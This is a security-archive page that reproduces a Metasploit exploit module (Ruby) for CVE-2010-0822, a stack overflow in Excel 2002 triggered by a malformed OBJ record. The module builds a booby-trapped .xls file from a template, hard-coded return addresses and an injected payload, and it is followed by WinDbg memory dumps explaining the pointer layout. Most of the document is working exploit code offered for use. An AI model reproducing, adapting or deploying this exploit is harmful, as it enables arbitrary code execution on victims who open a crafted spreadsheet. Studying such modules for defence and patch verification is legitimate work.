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MS11-038 Microsoft Office Excel Malformed OBJ Record Handling Overflow

MS11-038 Microsoft Office Excel Malformed OBJ Record Handling Overflow
Posted Nov 23, 2011
Authored by Nicolas Joly, Shahin, juan vazquez | Site metasploit.com

This Metasploit module exploits a vulnerability found in Excel 2002 of Microsoft Office XP. By supplying a .xls file with a malformed OBJ (recType 0x5D) record an attacker can get the control of the execution flow. This results arbitrary code execution under the context of the user.

tags | exploit, arbitrary, code execution
advisories | CVE-2010-0822, OSVDB-65236
MD5 | 6f5954aac28ff3859ec7c0d6b3cb1112

MS11-038 Microsoft Office Excel Malformed OBJ Record Handling Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

def initialize(info={})
super(update_info(info,
'Name' => "MS11-038 Microsoft Office Excel Malformed OBJ Record Handling Overflow",
'Description' => %q{
This module exploits a vulnerability found in Excel 2002 of Microsoft Office XP.
By supplying a .xls file with a malformed OBJ (recType 0x5D) record an attacker
can get the control of the excution flow. This results aribrary code execution under
the context of the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nicolas Joly', # Initial discovery
'Shahin Ramezany <shahin[at]abysssec.com>', # MOAUB 24 exploit and binary analysis
'juan vazquez' # Metasploit
],
'References' =>
[
['CVE', '2010-0822'],
['OSVDB', '65236'],
['BID', '40520'],
['MSB', 'MS10-038'],
['URL', 'http://www.exploit-db.com/moaub-24-microsoft-excel-obj-record-stack-overflow/']
],
'Payload' =>
{
'Space' => 4000
},
'DefaultOptions' =>
{
'ExitFunction' => 'process',
'DisablePayloadHandler' => 'true'
},
'Platform' => 'win',
'Targets' =>
[
[
# This is the one that can be downloaded from MSDN
'Microsoft Office Excel 2002 10.2614.2625 Service Pack 0(Office XP) on Windows XP SP3',
{
'ftCmoReserved' => 0x307d91ac, # Ptr to CraftedPointer-4 in the stored contents on Excel .data
'CraftedPointer' => 0x307d91a6, # Ptr to PtrToRet in the stored contents on Excel .data
'PtrToRet' => 0x307d908e, # Ptr to Ret - 11Ch
'Ret' => 0x30006113 # call ecx from Excel.exe 10.0.2614.0
}
],
[
'Microsoft Office Excel 2002 10.6501.6626 Service Pack 3 (Office XP SP3) on Windows XP SP3',
{
'ftCmoReserved' => 0x307de5ac, # Ptr to CraftedPointer-4 in the stored contents on Excel .data
'CraftedPointer' => 0x307de5a6, # Ptr to PtrToRet in the stored contents on Excel .data
'PtrToRet' => 0x307de48e, # Ptr to Ret - 11Ch
'Ret' => 0x300061a5 # call ecx from Excel.exe 10.0.6501.0
}
],
],
'Privileged' => false,
'DisclosureDate' => "Jun 8 2010",
'DefaultTarget' => 1))

register_options(
[
OptString.new('FILENAME', [true, 'The filename', 'msf.xls'])
], self.class)
end

def exploit

path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2010-0822.xls')
f = File.open(path, 'rb')
template = f.read
f.close
buf = ''
buf << template[0..35016]
buf << [target['ftCmoReserved']].pack('V')
buf << template[35021..36549]
buf << [target['PtrToRet']].pack('V')
buf << [target.ret].pack('V')
buf << template[36558..36559]
buf << [target['CraftedPointer']].pack('V')
buf << template[36564..36609]
buf << [target['CraftedPointer']].pack('V') # Pass the MSO_804()
buf << template[36614..36639]
buf << payload.encoded
buf << template[40640..template.length]
file_create(buf)

end

end

=begin

Memory analysis on Office XP SP2

'ftCmoReserved' => 0x307de5ac, # Ptr to CraftedPointer-4 in the stored contents on Excel .data
------------------------------------------------------------------------------------------

0:000> db 0x307de5ac
307de5ac 00 30 74 00 a6 e5 7d 30-4c 4c 00 55 6e 69 72 42 .0t...}0LL.UnirB
307de5bc 42 42 42 4c 00 48 50 44-6f 63 55 49 53 55 49 00 BBBL.HPDocUISUI.
307de5cc 54 72 75 65 00 52 65 73-6f 6c 75 74 69 6f 6e 00 True.Resolution.
307de5dc 36 30 30 64 70 69 a6 e5-7d 30 74 52 65 73 00 46 600dpi..}0tRes.F
307de5ec 61 6c 73 65 90 90 90 90-90 90 90 90 90 90 90 90 alse............
307de5fc 90 90 90 90 41 41 41 41-41 41 41 41 41 41 41 41 ....AAAAAAAAAAAA
307de60c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
307de61c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

'CraftedPointer' => 0x307de5a6, # Ptr to PtrToRet in the stored contents on Excel .data
-----------------------------------------------------------------------------------

0:000> db 0x307de5a6
307de5a6 8e e4 7d 30 a5 61 00 30-74 00 a6 e5 7d 30 4c 4c ..}0.a.0t...}0LL
307de5b6 00 55 6e 69 72 42 42 42-42 4c 00 48 50 44 6f 63 .UnirBBBBL.HPDoc
307de5c6 55 49 53 55 49 00 54 72-75 65 00 52 65 73 6f 6c UISUI.True.Resol
307de5d6 75 74 69 6f 6e 00 36 30-30 64 70 69 [[a6 e5 7d 30]]* ution.600dpi..}0
307de5e6 74 52 65 73 00 46 61 6c-73 65 90 90 90 90 90 90 tRes.False......
307de5f6 90 90 90 90 90 90 90 90-90 90 41 41 41 41 41 41 ..........AAAAAA
307de606 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
307de616 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

* => 0x307de5a6 + 0x3c => 0x307de5e2

'PtrToRet' => 0x307de48e, # Ptr to Ret - 11Ch
---------------------------------------------

307de48e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
307de49e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
307de4ae 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
307de4be 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
307de4ce 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
307de4de 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
307de4ee 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
307de4fe 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
307de50e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
307de51e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
307de52e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
307de53e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
307de54e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
307de55e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
307de56e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
307de57e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
307de58e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
307de59e eb 60 6e 00 50 72 69 6e-8e e4 7d 30 [[a5 61 00 30]]* .`n.Prin..}0.a.0
307de5ae 74 00 a6 e5 7d 30 4c 4c-00 55 6e 69 72 42 42 42 t...}0LL.UnirBBB
307de5be 42 4c 00 48 50 44 6f 63-55 49 53 55 49 00 54 72 BL.HPDocUISUI.Tr
307de5ce 75 65 00 52 65 73 6f 6c-75 74 69 6f 6e 00 36 30 ue.Resolution.60
307de5de 30 64 70 69 a6 e5 7d 30-74 52 65 73 00 46 61 6c 0dpi..}0tRes.Fal
307de5ee 73 65 90 90 90 90 90 90-90 90 90 90 90 90 90 90 se..............
307de5fe 90 90 41 41 41 41 41 41-41 41 41 41 41 41 41 41 ..AAAAAAAAAAAAAA
307de60e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
307de61e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
307de62e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
307de63e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
307de64e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
307de65e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
307de66e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
307de67e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

* 0x307de48e + 0x11c => 0x307de48e

'Ret' => 0x300061a5 # call ecx from Excel.exe 10.0.6501.0
----------------------------------------------------------

EXCEL!Ordinal41+0x61a5:
300061a5 ffd1 call ecx
300061a7 e00b loopne EXCEL!Ordinal41+0x61b4 (300061b4)
300061a9 c1536689 rcl dword ptr [ebx+66h],89h
300061ad 46 inc esi
300061ae 2a8d8574ffff sub cl,byte ptr [ebp-8B7Bh]
300061b4 ff5068 call dword ptr [eax+68h]
300061b7 1200 adc al,byte ptr [eax]
300061b9 0400 add al,0

=end

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